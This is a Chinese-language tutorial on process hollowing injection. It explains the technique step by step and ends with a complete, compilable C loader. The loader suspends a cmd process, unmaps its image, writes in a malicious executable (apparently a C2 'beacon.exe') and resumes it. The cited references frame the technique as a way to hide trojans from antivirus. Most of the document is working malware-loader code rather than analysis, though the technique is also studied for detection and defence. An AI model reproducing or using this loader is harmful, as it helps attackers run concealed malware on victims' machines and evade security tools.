5-进程镂空注入(Process Hollowing Injection)

一、前言

参考文章

1、使用进程镂空技术免杀360Defender-CSDN博客

2、技术讨论 | Windows 10进程镂空技术(木马免杀) - FreeBuf网络安全行业门户

3、进程注入-PE注入_进程镂空注入-CSDN博客

4、ProcessHollowing/Process Hollowing.cpp at master · NATsCodes/ProcessHollowing · GitHub

5、总结加载Shellcode的各种方式 - 亨利其实很坏 - 博客园

进程镂空注入(Process Hollowing Injection) 是将一个合法的程序挂起,然后修改其内存数据,将进程挖空并替换为恶意木马程序,实现文件层面的注入技术。

前置知识:

  1. 进程映像(Process Image)是操作系统在内存中为一个正在运行的进程分配的内存空间和资源的集合。进程映像包含了进程所需的所有数据和代码,包括可执行文件的代码段、数据段、堆栈段以及与进程相关的系统资源和状态信息。

  2. 远程进程(Remote Process):一般指的是在当前进程之外运行的另一个进程。

  3. PE文件详见 PE的相关数据结构 这一节

二、流程

偷来的实现原理图如下,具体代码有出入,但这个大致步骤是相似的

  1. 使用 CreateProcessA 创建一个进程,并将其设置为挂起状态(CREATE_SUSPENDED)。官方文档:CreateProcessA 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  2. 使用 CreateFileA+GetFileSize+VirtualAlloc+ReadFile 读取恶意程序的内容到本进程的内存空间中

  3. 获取DOS头和NT头

  4. 使用 GetThreadContext+ReadProcessMemory 获取挂起进程的线程上下文和映像基址

  5. 使用 NtUnmapViewOfSection 卸载挂起进程内存。简单来说,就是在进行进程注入前,确保目标进程的指定内存区域是可用的。官方文档:ZwUnmapViewOfSection 函数 (wdm.h) - Windows drivers | Microsoft Learn

  6. 使用 VirtualAllocEx+WriteProcessMemory 写入恶意软件代码

  7. 使用SetThreadContext+ResumeThread设置线程上下文与恢复挂起进程

三、分步实现

1. 定义一些变量和结构体

// 定义变量和结构体
IN PIMAGE_DOS_HEADER pDosHeaders;  //表示 DOS 头
IN PIMAGE_NT_HEADERS pNtHeaders;   //表示 NT 头。
IN PIMAGE_SECTION_HEADER pSectionHeaders;  //表示节头。
IN PVOID FileImage;    //恶意文件的映像基址
IN HANDLE hFile;       //一个句柄,指向文件
OUT DWORD FileReadSize;    //存储实际读取的文件大小
IN DWORD dwFileSize;          //存储文件的总大小
IN PVOID RemoteImageBase;   //远程进程中映像基址
IN PVOID RemoteProcessMemory;  //远程进程中分配的内存起始地址。
STARTUPINFOA si = { 0 };      //用于指定新进程的主窗口特性
PROCESS_INFORMATION pi = { 0 };    //进程的相关信息
CONTEXT ctx;                  // 线程上下文
ctx.ContextFlags = CONTEXT_FULL;  
si.cb = sizeof(si);  //结构体的大小
//用于替换的恶意程序
char path[] = "/* 恶意程序exe的路径 */";

2. 使用 CreateProcessA 创建一个进程,并将其设置为挂起状态(CREATE_SUSPENDED)

创建一个进程,在本例中是cmd进程,被创建的进程可以换其他合法的程序。

    // 创建挂起的cmd进程
    BOOL bRet = CreateProcessA(
        NULL,
        (LPSTR)"cmd",
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi);

3. 使用 CreateFileA+GetFileSize+VirtualAlloc+ReadFile 读取恶意程序的内容到本进程的内存空间中。

开辟一个缓冲区,将恶意程序的内容读到这个缓冲区中,这个缓冲区不需要可执行的权限,所以 VirtualAlloc 可以用关键字new一个缓冲区替代。

    //读取恶意程序的内容至本进程内存中
    hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
    FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
    CloseHandle(hFile);

4. 获取DOS头和NT头

为什么要获取获取DOS头和NT头?DOS头里有NT的偏移量,而NT头里有着非常丰富的信息,包括进程的 入口点映像基址文件头 等等各种对注入有用的信息。

//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

5. 使用 GetThreadContext+ReadProcessMemory 获取挂起进程的线程上下文和映像基址

GetThreadContext 函数用于检索指定线程的上下文。线程上下文包含寄存器值和其他处理器状态信息,这对于调试和进程控制非常重要。

//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx);

//获取挂起进程的映像基址
#ifdef _WIN64
    // 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);   
#endif

#ifdef _X86_
    // 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

6. 使用 NtUnmapViewOfSection 卸载挂起进程内存

每一个PE文件都有ImageBase(预期加载基址),如果ImageBase被占用我们就卸载已存在文件

     //判断文件预期加载地址是否被占用
    pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtUnmapViewOfSection");
    if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
    {
        NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
    }

7. 使用 VirtualAllocEx+WriteProcessMemory 写入恶意软件代码

忘记在 PE的相关数据结构 写了,在这里补充节头的定义

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];  // 节名称(8字节)
    union {
        DWORD   PhysicalAddress;            // 物理地址
        DWORD   VirtualSize;                // 虚拟大小
    } Misc;
    DWORD   VirtualAddress;                 // 虚拟地址(节在内存中的偏移)
    DWORD   SizeOfRawData;                  // 节在文件中的大小
    DWORD   PointerToRawData;               // 节在文件中的偏移
    DWORD   PointerToRelocations;           // 重定位表偏移
    DWORD   PointerToLinenumbers;           // 行号表偏移
    WORD    NumberOfRelocations;            // 重定位项数量
    WORD    NumberOfLinenumbers;            // 行号数量
    DWORD   Characteristics;                // 节属性标志
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

恶意软件写入合法进程的空间,先写入文件头后逐段写入。

//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

//逐段写入
/*
文件基址 + DOS头偏移 + NT头大小 + (当前节索引 * 节头大小) = 当前节头位置
FileImage + pDosHeaders->e_lfanew = NT头位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) = 节表的起始地址位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)是得到每个节表项,这个节表项就是每个节的节头。
VirtualAddress存放着每个节在内存的偏移量
PointerToRawData存放着每个节在物理磁盘上的偏移量
*/
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
    pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
    WriteProcessMemory(
        pi.hProcess,  // 目标进程句柄
        (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress),  // 目标内存地址
        (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData),  // 源数据地址
        pSectionHeaders->SizeOfRawData,  // 写入大小
        NULL
    );
}

8. 使用 SetThreadContext+ResumeThread 设置线程上下文与恢复挂起进程

在注入中常用寄存器的调用约定

// x64 注入
ctx.Rcx = 入口点地址  
ctx.Rdx = PEB地址
ctx.Rip = 入口点

// x86 注入 
ctx.Eax = 入口点地址
ctx.Ebx = PEB地址
ctx.Eip = 入口点

32 位程序 ImageBase 位于 PEB 结构 +0x8 偏移处

64 位程序 ImageBase 位于 PEB 结构 +0x10 偏移处

  1. 在windows的调用约定中,挂起进程的Eax/Rcx存储着软件的入口点。

  2. Ebx/Rdx存放着PEB的起始地址,而在PEB起始地址的0x8/0x10偏移处存放着Imagebase

//将rcx寄存器设置为注入软件的入口点
#ifdef _WIN64

    //入口点设置
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);

    //映像基址写入
    WriteProcessMemory(
        pi.hProcess,   //本进程的句柄
        (PVOID)(ctx.Rdx + 0x10 ), // 被注入进程的ImageBase
        &pNtHeaders->OptionalHeader.ImageBase,   // 恶意文件的ImageBase
        sizeof(PVOID),
        NULL);
#endif
    //将eax寄存器设置为注入软件的入口点
#ifdef _X86_

    //入口点设置
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);

    //映像基址写入
    WriteProcessMemory(
        pi.hProcess, //本进程的句柄
        (PVOID)(ctx.Ebx + 0x8 ),  // 被注入进程的ImageBase
        &pNtHeaders->OptionalHeader.ImageBase,  // 恶意文件的ImageBase
        sizeof(PVOID),
        NULL);
#endif

四、完整代码

#include <stdio.h>
#include <Windows.h>

// WindowsAPI声明
typedef VOID(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, wchar_t* argv[])
{
    // 定义变量和结构体
    IN PIMAGE_DOS_HEADER pDosHeaders;  //表示 DOS 头
    IN PIMAGE_NT_HEADERS pNtHeaders;   //表示 NT 头。
    IN PIMAGE_SECTION_HEADER pSectionHeaders;  //表示节头。
    IN PVOID FileImage;    //恶意文件的映像基址
    IN HANDLE hFile;       //一个句柄,指向文件
    OUT DWORD FileReadSize;    //存储实际读取的文件大小
    IN DWORD dwFileSize;          //存储文件的总大小
    IN PVOID RemoteImageBase;   //远程进程中映像基址
    IN PVOID RemoteProcessMemory;  //远程进程中分配的内存起始地址。
    STARTUPINFOA si = { 0 };      //用于指定新进程的主窗口特性
    PROCESS_INFORMATION pi = { 0 };    //进程的相关信息
    CONTEXT ctx;                  // 线程上下文
    ctx.ContextFlags = CONTEXT_FULL;
    si.cb = sizeof(si);  //结构体的大小

    //用于替换的恶意程序
    char path[] = "C:\\Users\\Xu\\Desktop\\beacon.exe";

    // 创建挂起的cmd进程
    BOOL bRet = CreateProcessA(
        NULL,
        (LPSTR)"cmd",
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi);

    //读取恶意程序的内容至本进程内存中
    hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
    FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
    CloseHandle(hFile);

    //获取恶意程序的文件头信息(Dos头和Nt头)
    pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
    pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

    //获取挂起进程的上下文
    GetThreadContext(pi.hThread, &ctx);


    //获取挂起进程的映像基址
#ifdef _WIN64
    // 从rdx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

#ifdef _X86_
    // 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif


    //判断文件预期加载地址是否被占用
    pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtUnmapViewOfSection");
    if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
    {
        NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
    }

    //为可执行映像分配内存,并写入文件头
    RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

    //逐段写入
    /*
    文件基址 + DOS头偏移 + NT头大小 + (当前节索引 * 节头大小) = 当前节头位置
    FileImage + pDosHeaders->e_lfanew = NT头位置
    FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) = 节表的起始地址位置
    FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)是得到每个节表项,这个节表项就是每个节的节头。
    VirtualAddress存放着每个节在内存的偏移量
    PointerToRawData存放着每个节在物理磁盘上的偏移量
    */
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {
        pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
        WriteProcessMemory(
            pi.hProcess,  // 目标进程句柄
            (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress),  // 目标内存地址
            (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData),  // 源数据地址
            pSectionHeaders->SizeOfRawData,  // 写入大小
            NULL
        );
    }

    //将rcx寄存器设置为注入软件的入口点
#ifdef _WIN64

    //入口点设置
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);

    //映像基址写入
    WriteProcessMemory(
        pi.hProcess,   //本进程的句柄
        (PVOID)(ctx.Rdx + 0x10 ), // 被注入进程的ImageBase
        &pNtHeaders->OptionalHeader.ImageBase,   // 恶意文件的ImageBase
        sizeof(PVOID),
        NULL);
#endif
    //将eax寄存器设置为注入软件的入口点
#ifdef _X86_

    //入口点设置
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);

    //映像基址写入
    WriteProcessMemory(
        pi.hProcess, //本进程的句柄
        (PVOID)(ctx.Ebx + 0x8 ),  // 被注入进程的ImageBase
        &pNtHeaders->OptionalHeader.ImageBase,  // 恶意文件的ImageBase
        sizeof(PVOID),
        NULL);
#endif

    SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
    ResumeThread(pi.hThread); // 恢复挂起线程
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

Last updated